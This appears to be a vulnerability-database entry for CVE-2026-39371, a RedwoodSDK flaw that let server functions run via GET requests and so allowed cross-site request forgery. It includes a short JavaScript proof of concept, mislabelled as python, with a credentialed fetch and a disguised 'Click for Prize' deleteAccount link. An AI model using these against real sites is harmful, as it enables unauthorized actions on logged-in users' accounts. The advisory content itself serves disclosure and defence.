Security Vulnerability Report
中文
CVE-2026-39371 CVSS 8.1 HIGH

CVE-2026-39371

Published: 2026-04-07 20:16:32
Last Modified: 2026-05-05 15:31:15

Description

RedwoodSDK is a server-first React framework. From 1.0.0-beta.50 to 1.0.5, erver functions exported from "use server" files could be invoked via GET requests, bypassing their intended HTTP method. In cookie-authenticated applications, this allowed cross-site GET navigations to trigger state-changing functions, because browsers send SameSite=Lax cookies on top-level GET requests. This affected all server functions -- both serverAction() handlers and bare exported functions in "use server" files. This vulnerability is fixed in 1.0.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redwoodjs:redwoodsdk:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta50:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta51:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta52:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta53:*:*:*:*:*:* - VULNERABLE
RedwoodJS SDK >= 1.0.0-beta.50, <= 1.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-39371: RedwoodJS HTTP Method Bypass // Description: This demonstrates how a server action intended for POST can be triggered via GET. // Target endpoint (example) // Usually server actions are at /.redwood/functions/{functionName} const targetUrl = "http://vulnerable-site.com/.redwood/functions/updateUserSettings?admin=true"; // 1. Attack Vector: Simple HTML Link (CSRF) // If an attacker hosts this link and a logged-in user clicks it, // the browser sends a GET request with the session cookie. // <a href="http://vulnerable-site.com/.redwood/functions/deleteAccount">Click for Prize</a> // 2. Verification using Fetch (simulating the browser behavior) async function checkVulnerability() { try { const response = await fetch(targetUrl, { method: 'GET', // Vulnerability: GET is allowed for state change credentials: 'include', // Simulates browser sending cookies headers: { 'Accept': 'application/json' } }); if (response.ok) { console.log("[+] Vulnerability Confirmed: Server action executed via GET."); console.log("[+] Response:", await response.text()); } else { console.log("[-] Action failed or blocked."); } } catch (error) { console.error("Error:", error); } } checkVulnerability();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39371", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:31.980", "lastModified": "2026-05-05T15:31:14.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RedwoodSDK is a server-first React framework. From 1.0.0-beta.50 to 1.0.5, erver functions exported from \"use server\" files could be invoked via GET requests, bypassing their intended HTTP method. In cookie-authenticated applications, this allowed cross-site GET navigations to trigger state-changing functions, because browsers send SameSite=Lax cookies on top-level GET requests. This affected all server functions -- both serverAction() handlers and bare exported functions in \"use server\" files. This vulnerability is fixed in 1.0.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.1", "versionEndExcluding": "1.0.6", "matchCriteriaId": "8E69BB7E-9B98-4DAA-9679-FCC2B9900C71"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta50:*:*:*:*:*:*", "matchCriteriaId": "10DFDEC7-D2A7-4AC5-AA0E-E71B483AB0E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta51:*:*:*:*:*:*", "matchCriteriaId": "DD867EAC-3C9A-4292-AC02-2FEF85F180E2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta52:*:*:*:*:*:*", "matchCriteriaId": "10E3130A-AD36-4681-B938-CC3A4B996D27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta53:*:*:*:*:*:*", "matchCriteriaId": "C19C1D4F-E694-4715-B545-426D87630607"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta53_test20260205213024:*:*:*:*:*:*", "matchCriteriaId": "02ADC1FE-B254-49AC-AAE6-3A2FE05CD8FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta54:*:*:*:*:*:*", "matchCriteriaId": "46F4EA7D-00A2-46BA-9B28-1ED6F6CA810F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta55:*:*:*:*:*:*", "matchCriteriaId": "CCA20DB6-1D44-468F-8E39-36F3EE4EEA9C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta56:*:*:*:*:*:*", "matchCriteriaId": "50C28F45-A680-490A-B5D0-DE9D38F0625F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta57:*:*:*:*:*:*", "matchCriteriaId": "82672146-941B-42C0-B135-E3300A2418F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redwoodjs:redwoodsdk:1.0.0:beta58:*:*:*:*:*:*", "matchCriteriaId": "C1817FEE-0168-4C55-B641-A0CE943CC089"}]}]}], "references": [{"url": "https://github.com/redwoodjs/sdk/security/advisories/GHSA-x8rx-789c-2pxq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}